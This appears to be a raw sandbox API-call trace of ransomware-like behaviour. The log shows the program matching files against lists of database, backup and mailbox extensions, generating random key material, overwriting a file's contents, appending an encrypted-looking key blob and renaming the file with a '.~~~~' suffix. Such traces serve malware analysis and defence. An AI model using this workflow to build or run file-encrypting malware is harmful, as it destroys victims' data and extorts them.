	[0138.592] lstrlenW (lpString=".sdf") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".sdf") returned 0x0
	[0138.592] lstrlenW (lpString=".accdb") returned 6
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".accdb") returned 0x0
	[0138.592] lstrlenW (lpString=".DBX") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DBX") returned 0x0
	[0138.592] lstrlenW (lpString=".MDT") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".MDT") returned 0x0
	[0138.592] lstrlenW (lpString=".SQB") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".SQB") returned 0x0
	[0138.592] lstrlenW (lpString=".vhd") returned 4
	[0138.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".vhd") returned 0x0
	[0138.593] lstrlenW (lpString=".bac") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".bac") returned 0x0
	[0138.593] lstrlenW (lpString=".mdf") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".mdf") returned 0x0
	[0138.593] lstrlenW (lpString=".BAK") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".BAK") returned 0x0
	[0138.593] lstrlenW (lpString=".BAC") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".BAC") returned 0x0
	[0138.593] lstrlenW (lpString=".dbs") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dbs") returned 0x0
	[0138.593] lstrlenW (lpString=".vhdx") returned 5
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".vhdx") returned 0x0
	[0138.593] lstrlenW (lpString=".NDF") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".NDF") returned 0x0
	[0138.593] lstrlenW (lpString=".dat") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dat") returned 0x0
	[0138.593] lstrlenW (lpString=".DBS") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DBS") returned 0x0
	[0138.593] lstrlenW (lpString=".CKP") returned 4
	[0138.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".CKP") returned 0x0
	[0138.593] lstrlenW (lpString=".edb") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".edb") returned 0x0
	[0138.594] lstrlenW (lpString=".PST") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".PST") returned 0x0
	[0138.594] lstrlenW (lpString=".dbf") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dbf") returned 0x0
	[0138.594] lstrlenW (lpString=".SQL") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".SQL") returned 0x0
	[0138.594] lstrlenW (lpString=".pst") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".pst") returned 0x0
	[0138.594] lstrlenW (lpString=".dbv") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dbv") returned 0x0
	[0138.594] lstrlenW (lpString=".SDF") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".SDF") returned 0x0
	[0138.594] lstrlenW (lpString=".dtxs") returned 5
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dtxs") returned 0x0
	[0138.594] lstrlenW (lpString=".db3") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".db3") returned 0x0
	[0138.594] lstrlenW (lpString=".OST") returned 4
	[0138.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".OST") returned 0x0
	[0138.594] lstrlenW (lpString=".dbx") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dbx") returned 0x0
	[0138.595] lstrlenW (lpString=".DB3") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DB3") returned 0x0
	[0138.595] lstrlenW (lpString=".DAT") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DAT") returned 0x0
	[0138.595] lstrlenW (lpString=".VHDX") returned 5
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".VHDX") returned 0x0
	[0138.595] lstrlenW (lpString=".ndf") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".ndf") returned 0x0
	[0138.595] lstrlenW (lpString=".DB") returned 3
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DB") returned 0x0
	[0138.595] lstrlenW (lpString=".sql") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".sql") returned 0x0
	[0138.595] lstrlenW (lpString=".MYD") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".MYD") returned 0x0
	[0138.595] lstrlenW (lpString=".DBT") returned 4
	[0138.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DBT") returned 0x0
	[0138.595] lstrlenW (lpString=".ACCDB") returned 6
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.596] lstrlenW (lpString=".fdb") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".fdb") returned 0x0
	[0138.596] lstrlenW (lpString=".bak") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".bak") returned 0x0
	[0138.596] lstrlenW (lpString=".myd") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".myd") returned 0x0
	[0138.596] lstrlenW (lpString=".DTXS") returned 5
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".DTXS") returned 0x0
	[0138.596] lstrlenW (lpString=".ckp") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".ckp") returned 0x0
	[0138.596] lstrlenW (lpString=".dbt") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".dbt") returned 0x0
	[0138.596] lstrlenW (lpString=".db") returned 3
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".db") returned 0x0
	[0138.596] lstrlenW (lpString=".TXT") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".TXT") returned 0x0
	[0138.596] lstrlenW (lpString=".MDF") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".MDF") returned 0x0
	[0138.596] lstrlenW (lpString=".bdb") returned 4
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".bdb") returned 0x0
	[0138.596] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.596] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0138.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.597] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0138.600] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.600] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0138.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0138.600] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25859053842) returned 1
	[0138.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbc0a3690, dwHighDateTime=0x1d60e1e)) 
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825c18
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c18 | out: hHeap=0x300000) returned 1
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0138.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0138.601] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0138.602] GetLastError () returned 0x0
	[0138.602] GetLastError () returned 0x0
	[0138.602] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0138.603] GetLastError () returned 0x0
	[0138.603] GetLastError () returned 0x0
	[0138.603] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.607] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.608] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.608] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.608] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.608] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.608] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.609] CloseHandle (hObject=0xc4) returned 1
	[0138.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0138.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME21.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme21.css.~~~~")) returned 1
	[0138.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0138.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.612] GetLastError () returned 0x0
	[0138.612] RtlWakeConditionVariable () returned 0x0
	[0138.612] GetCurrentThreadId () returned 0x9f4
	[0138.612] GetCurrentThreadId () returned 0x9f4
	[0138.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0138.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a580 | out: hHeap=0x300000) returned 1
	[0138.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825c50 | out: hHeap=0x300000) returned 1
	[0138.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a580
	[0138.613] lstrlenW (lpString=".scr") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".scr") returned 0x0
	[0138.613] lstrlenW (lpString=".cmd") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".cmd") returned 0x0
	[0138.613] lstrlenW (lpString=".dll") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dll") returned 0x0
	[0138.613] lstrlenW (lpString=".bat") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".bat") returned 0x0
	[0138.613] lstrlenW (lpString=".cpl") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".cpl") returned 0x0
	[0138.613] lstrlenW (lpString=".sys") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".sys") returned 0x0
	[0138.613] lstrlenW (lpString=".msc") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".msc") returned 0x0
	[0138.613] lstrlenW (lpString=".com") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".com") returned 0x0
	[0138.613] lstrlenW (lpString=".lnk") returned 4
	[0138.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".lnk") returned 0x0
	[0138.614] lstrlenW (lpString=".msp") returned 4
	[0138.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".msp") returned 0x0
	[0138.614] lstrlenW (lpString=".pif") returned 4
	[0138.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".pif") returned 0x0
	[0138.614] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme22.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0138.617] lstrlenW (lpString=".sqb") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".sqb") returned 0x0
	[0138.617] lstrlenW (lpString=".ost") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".ost") returned 0x0
	[0138.617] lstrlenW (lpString=".txt") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".txt") returned 0x0
	[0138.617] lstrlenW (lpString=".mdt") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".mdt") returned 0x0
	[0138.617] lstrlenW (lpString=".BDB") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".BDB") returned 0x0
	[0138.617] lstrlenW (lpString=".eql") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".eql") returned 0x0
	[0138.617] lstrlenW (lpString=".DBF") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DBF") returned 0x0
	[0138.617] lstrlenW (lpString=".EQL") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".EQL") returned 0x0
	[0138.617] lstrlenW (lpString=".FDB") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".FDB") returned 0x0
	[0138.617] lstrlenW (lpString=".EDB") returned 4
	[0138.617] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".EDB") returned 0x0
	[0138.617] lstrlenW (lpString=".DACPAC") returned 7
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.618] lstrlenW (lpString=".VHD") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".VHD") returned 0x0
	[0138.618] lstrlenW (lpString=".DBV") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DBV") returned 0x0
	[0138.618] lstrlenW (lpString=".dacpac") returned 7
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dacpac") returned 0x0
	[0138.618] lstrlenW (lpString=".sdf") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".sdf") returned 0x0
	[0138.618] lstrlenW (lpString=".accdb") returned 6
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".accdb") returned 0x0
	[0138.618] lstrlenW (lpString=".DBX") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DBX") returned 0x0
	[0138.618] lstrlenW (lpString=".MDT") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".MDT") returned 0x0
	[0138.618] lstrlenW (lpString=".SQB") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".SQB") returned 0x0
	[0138.618] lstrlenW (lpString=".vhd") returned 4
	[0138.618] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".vhd") returned 0x0
	[0138.618] lstrlenW (lpString=".bac") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".bac") returned 0x0
	[0138.619] lstrlenW (lpString=".mdf") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".mdf") returned 0x0
	[0138.619] lstrlenW (lpString=".BAK") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".BAK") returned 0x0
	[0138.619] lstrlenW (lpString=".BAC") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".BAC") returned 0x0
	[0138.619] lstrlenW (lpString=".dbs") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dbs") returned 0x0
	[0138.619] lstrlenW (lpString=".vhdx") returned 5
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".vhdx") returned 0x0
	[0138.619] lstrlenW (lpString=".NDF") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".NDF") returned 0x0
	[0138.619] lstrlenW (lpString=".dat") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".dat") returned 0x0
	[0138.619] lstrlenW (lpString=".DBS") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".DBS") returned 0x0
	[0138.619] lstrlenW (lpString=".CKP") returned 4
	[0138.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".CKP") returned 0x0
	[0138.619] lstrlenW (lpString=".edb") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".edb") returned 0x0
	[0138.620] lstrlenW (lpString=".PST") returned 4
	[0138.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME22.CSS", lpSrch=".PST") returned 0x0
	[0138.620] lstrlenW (lpString=".dbf") returned 4
